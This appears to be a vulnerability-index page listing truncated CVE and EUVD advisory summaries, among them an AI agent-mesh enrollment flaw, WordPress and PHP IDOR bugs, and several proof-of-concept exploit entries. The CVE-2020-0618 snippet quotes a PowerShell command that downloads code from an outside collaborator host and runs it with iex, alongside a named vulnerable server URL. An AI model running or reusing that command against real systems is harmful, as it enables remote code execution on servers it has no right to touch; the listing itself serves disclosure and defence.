CVE-2026-103091 Insecure Default Policy and Unrestricted OIDC Enrollment in Google OSS Agent Mesh (SAM)

Missing Authorization CWE-862 and Initialization of a Resource with an Insecure Default CWE-1188 in the MCP proxy HandleStreamPassThrough in mcpservice.go and OIDC registration flow GET /info and POST /register in internal/controlplane/server.go in Google OSS Agent Mesh SAM versions 0.1.0-alpha.1...

CVE-2026-103091 Insecure Default Policy and Unrestricted OIDC Enrollment in Google OSS Agent Mesh (SAM)

Missing Authorization CWE-862 and Initialization of a Resource with an Insecure Default CWE-1188 in the MCP proxy HandleStreamPassThrough in mcpservice.go and OIDC registration flow GET /info and POST /register in internal/controlplane/server.go in Google OSS Agent Mesh SAM versions 0.1.0-alpha.1...

PT-2026-117210

Name of the Vulnerable Software and Affected Versions Google OSS Agent Mesh SAM versions 0.1.0-alpha.1 through 0.1.0-alpha.8 Description Missing authorization and the use of insecure default resource initialization allow a remote attacker to self-enroll into the mesh and invoke arbitrary tools...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - link bị dính lỗ hổng $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex'...

CVE-2020-13885

Exploit Title: Citrix Workspace app before 1912 for Windows - Privilege Escalation 1 Date: 2020-06-07 Author: Andrew Hess Software Link: https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-windows/workspace-app-for-windows-1911.html/ Bulletin:...

CVE-2023-27842

CVE-2023-27842 eXtplorer 2.1.15 – Insecure Permissions following Remote Code Execution Authenticated Vendor Homepage: http://extplorer.net/ Software Link: http://extplorer.net/attachments/download/99/eXtplorer2.1.15.zip Version: 2.1.15 Installation git clone https://github.com/0xFTW/CVE-2023-2784...

CVE-2020-13884

Exploit Title: Citrix Workspace app before 1912 for Windows - Privilege Escalation 2 Date: 2020-06-07 Author: Andrew Hess Software Link: https://www.citrix.com/downloads/workspace-app/legacy-workspace-app-for-windows/workspace-app-for-windows-1911.html/ Bulletin:...

disclosures

Disclosures This is a repository documenting security issues I have encountered. Citrix client for Linux leaks credentials to syslog Citrix Linux client insecure temporary ICA file creation CVE-2023-24486...

CVE-2022-48565-POC

CVE-2022-48565 PoC Introduction This is a Proof of Concept PoC demonstrating the vulnerability CVE-2022-48565 , which is based on unsafe deserialization of Plist files in Python. By processing specially crafted Property List Plist files, an attacker can execute arbitrary code on the target system...

CVE-2022-22733

CVE-2022-22733 CVE-2022-22733 is a vulnerabilit that affects Apache ShardingSphere ElasticJob-UI 3.0.0 and below versions, The vulnerability lead to Privilege Escalation. But, with abusing of the escalated privileges a JDBC Attack it can preformed & achieve RCE. You can read the vulnerability...

CVE-2012-6422

Exynos Exploit This is a POC for exploiting the /dev/exynos-mem vulnerability introduced in earlier samsung phones. It was done out of interest in kernel vulnerability research and as a part of a CTF challenge. The Exploit The vulnerability introduced in these phones is the permissions for the...

CVE-2026-111912

Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic that allows authenticated members to modify other users' forum topics. Attackers can replace the topicuuid parameter in their own topicsave request, reusing their CSRF token, to...

CVE-2026-111905

phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/userId, which returns any user's full faquserdata row, including the live TOTP secret, without a SuperAdmin or protected-target check. Delegated...

EUVD-2026-103308

Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic that allows authenticated members to modify other users' forum topics. Attackers can replace the topicuuid parameter in their own topicsave request, reusing their CSRF token, to...

EUVD-2026-103315

phpMyFAQ 3.2.0 before 4.1.9 and 4.2.0-alpha before 4.2.0-beta contains an insecure direct object reference vulnerability in GET /admin/api/user/data/userId, which returns any user's full faquserdata row, including the live TOTP secret, without a SuperAdmin or protected-target check. Delegated...

WordPress Kirki – Freeform Page Builder, Website Builder & Customizer plugin <= 6.3.2 - Insecure Direct Object Reference to Unauthenticated Sensitive Information Exposure vulnerability

Insecure Direct Object Reference to Unauthenticated Sensitive Information Exposure vulnerability discovered by Md. Moniruzzaman Prodhan NomanProdhan in WordPress Plugin Kirki versions = 6.3.2...

CVE-2026-107762

The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2 via the 'context' parameter due to missing validation on a user controlled key. This makes it possible for...

CVE-2026-107762 Kirki <= 6.3.2 - Insecure Direct Object Reference to Unauthenticated Sensitive Information Exposure via Context Smuggling via 'context' Parameter

The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2 via the 'context' parameter due to missing validation on a user controlled key. This makes it possible for...

EUVD-2026-103213

The Kirki – Freeform Page Builder, Website Builder & Customizer plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 6.3.2 via the 'context' parameter due to missing validation on a user controlled key. This makes it possible for...

CVE-2026-107762

The Kirki WordPress plugin (versions up to and including 6.3.2 ) is vulnerable to an Insecure Direct Object Reference (IDOR) . The issue stems from a missing validation on a user-controlled key within the 'context' parameter , allowing unauthenticated attackers to perform context smuggling . This...